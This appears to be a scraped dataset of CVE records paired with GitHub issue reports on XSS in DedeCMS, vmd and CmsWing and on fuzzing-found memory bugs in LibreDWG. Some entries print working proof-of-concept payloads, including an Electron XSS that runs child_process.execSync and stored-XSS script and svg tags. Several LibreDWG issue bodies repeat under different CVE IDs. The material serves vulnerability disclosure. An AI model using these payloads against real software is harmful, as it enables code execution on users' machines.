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] | github.com | [
"ky-j",
"dedecms"
] | When common user send this malicious URL to the web manager and request it, the web manager could be executed the malicious javascript code
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| XSS and CSRF Vulnerability exists in the file of DedeCMS V5.7 SP2 version | https://api.github.com/repos/ky-j/dedecms/issues/12/comments | 1 | 2020-04-29T17:32:07Z | 2021-05-18T10:13:30Z | https://github.com/ky-j/dedecms/issues/12 | 609,231,591 | 12 | 1,941 |
CVE-2021-33041 | 2021-05-17T17:15:08.730 | vmd through 1.34.0 allows 'div class="markdown-body"' XSS, as demonstrated by Electron remote code execution via require('child_process').execSync('calc.exe') on Windows and a similar attack on macOS. | {
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"Third Party Advisory"
] | github.com | [
"yoshuawuyts",
"vmd"
] | Hi, I'd like to report a security vulnerability in lastest release :
Description: Cross-site scripting (XSS) vulnerability(also execute constructed malicious code)
Date: 2021.05.17
Version: v1.26.2~v1.34.0
Tested on: Windows10 & Mac
# POC
The program does not properly handle the content of the code, causing the program to have a cross-site scripting vulnerability, which can also execute constructed malicious code
1. creat poc.md file with the following content: `<img src=1 onerror=alert(/xss/)>`
2. use vmd.exe to open the poc.md ,the poc code is executed
3. pop up calc.exe
## XSS
the file content code : `<img src=1 onerror=alert(/xss/)>`
<img width="902" alt="xss_1" src="https://user-images.githubusercontent.com/84305906/118453684-15f7c180-b72a-11eb-9f36-cebe32b3009c.png">
## Execute malicious code
the file content code : `<a onmouseover="require('child_process').execSync('calc.exe')">POC Link</a>`
use vmd.exe open poc.md file to execute malicious code with xss vulnerability:
<img width="884" alt="calc_exe_windows" src="https://user-images.githubusercontent.com/84305906/118453765-2dcf4580-b72a-11eb-86a3-41fd9863e79a.png">
when vmd.exe open the poc.md file , the poc code parsed in vmd.exe `div class="markdown-body" </div>`, so it executed:
<img width="689" alt="calc_exe_windowss_2" src="https://user-images.githubusercontent.com/84305906/118454136-9d453500-b72a-11eb-8023-53327eb858e9.png">
Use the Poc `<a onmouseover="require('child_process').execSync('open -na Calculator')">POC Link</a>` on Mac:
# How to fix
1. Use an appropriate escaping/encoding technique depending on where user input is to be used: HTML escape, JavaScript escape, CSS escape, URL escape, etc.
2. VMD should sanitize the content in order to avoid XSS.
| Cross Site Scripting vulnerability | https://api.github.com/repos/yoshuawuyts/vmd/issues/137/comments | 1 | 2021-05-17T08:58:43Z | 2021-07-03T01:42:30Z | https://github.com/yoshuawuyts/vmd/issues/137 | 893,109,109 | 137 | 1,942 |
CVE-2020-21813 | 2021-05-17T18:15:07.450 | A heap based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via output_TEXT ../../programs/dwg2SVG.c:114. | {
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"Patch",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,943 |
CVE-2020-21814 | 2021-05-17T19:15:07.457 | A heap based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via htmlwescape ../../programs/escape.c:97. | {
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"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,944 |
CVE-2020-21815 | 2021-05-17T19:15:07.490 | A null pointer deference issue exists in GNU LibreDWG 0.10.2641 via output_TEXT ../../programs/dwg2SVG.c:114, which causes a denial of service (application crash). | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,945 |
CVE-2020-21816 | 2021-05-17T19:15:07.520 | A heab based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:46. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,946 |
CVE-2020-21817 | 2021-05-17T19:15:07.550 | A null pointer dereference issue exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:29. which causes a denial of service (application crash). | {
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"Patch",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,947 |
CVE-2020-21818 | 2021-05-17T19:15:07.580 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:48. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,948 |
CVE-2020-21819 | 2021-05-17T19:15:07.610 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10.2641via htmlescape ../../programs/escape.c:51. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/182/comments | 9 | 2020-01-10T06:17:10Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/182 | 547,887,727 | 182 | 1,949 |
CVE-2020-24992 | 2021-05-17T19:15:07.647 | There is a cross site scripting vulnerability on CmsWing 1.3.7. This vulnerability (stored XSS) is triggered when an administrator accesses the content management module. | {
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] | The first XSS vulnerablity
Question and answer module. In the Question supplement function, when inserting a link, fill in "> < SVG / onload = alert ('xss') > <! -- in the address item to form a stored XSS.This vulnerability can be triggered when any visitor views the issue
The second XSS vulnerablity
Stored XSS exists in the title item of online submission module, and the payload is as follows <script>alert (1)</script>
The specific location of the vulnerability is shown in the figure below,After the submission is approved by the admin user, the vulnerability will be triggered when the administrator opens the content management page.
| Vulnerability Report: CmsWing in version 1.3.7, there are two storage XSS vulnerabilities | https://api.github.com/repos/arterli/CmsWing/issues/54/comments | 0 | 2020-08-27T01:36:24Z | 2024-05-05T03:53:46Z | https://github.com/arterli/CmsWing/issues/54 | 686,871,459 | 54 | 1,950 |
CVE-2020-21827 | 2021-05-17T20:15:07.413 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_compressed_section ../../src/decode.c:2379. | {
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"libredwg"
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POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_69b5609/id:000000%2Csig:06%2Csrc:000001%2Cop:flip4%2Cpos:27167
```
==29243==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000005b2 at pc 0x7ffafa9dc77a bp 0x7ffcc19b07e0 sp 0x7ffcc19aff88
WRITE of size 126 at 0x6140000005b2 thread T0
#0 0x7ffafa9dc779 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
#1 0x561777b62e9c in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x561777b62e9c in read_2004_compressed_section ../../src/decode.c:2379
#3 0x56177811f8af in read_2004_section_preview ../../src/decode.c:2778
#4 0x56177811f8af in decode_R2004 ../../src/decode.c:2965
#5 0x56177812c264 in dwg_decode ../../src/decode.c:245
#6 0x561777adb7c2 in dwg_read_file ../../src/dwg.c:211
#7 0x561777ad9550 in main ../../programs/dwg2dxf.c:255
#8 0x7ffafa1f5b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x561777adaa69 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2dxf+0x363a69)
Address 0x6140000005b2 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79779)
Shadow bytes around the buggy address:
0x0c287fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c287fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c287fff80b0: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa
0x0c287fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c287fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29243==ABORTING
``` | Heap over flow | https://api.github.com/repos/LibreDWG/libredwg/issues/183/comments | 2 | 2020-01-13T02:49:42Z | 2020-01-16T12:12:04Z | https://github.com/LibreDWG/libredwg/issues/183 | 548,674,750 | 183 | 1,951 |
CVE-2020-21830 | 2021-05-17T21:15:07.297 | A heap based buffer overflow vulneraibility exists in GNU LibreDWG 0.10 via bit_calc_CRC ../../src/bits.c:2213. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,952 |
CVE-2020-21832 | 2021-05-17T21:15:07.337 | A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_compressed_section ../../src/decode.c:2417. | {
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"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,953 |
CVE-2020-21833 | 2021-05-17T21:15:07.367 | A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via: read_2004_section_classes ../../src/decode.c:2440. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,954 |
CVE-2020-21834 | 2021-05-17T21:15:07.400 | A null pointer deference issue exists in GNU LibreDWG 0.10 via get_bmp ../../programs/dwgbmp.c:164. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
``` | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments | 15 | 2020-01-15T04:37:59Z | 2020-01-16T23:22:04Z | https://github.com/LibreDWG/libredwg/issues/188 | 549,961,224 | 188 | 1,955 |
CVE-2020-21835 | 2021-05-17T21:15:07.433 | A null pointer deference issue exists in GNU LibreDWG 0.10 via read_2004_compressed_section ../../src/decode.c:2337. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
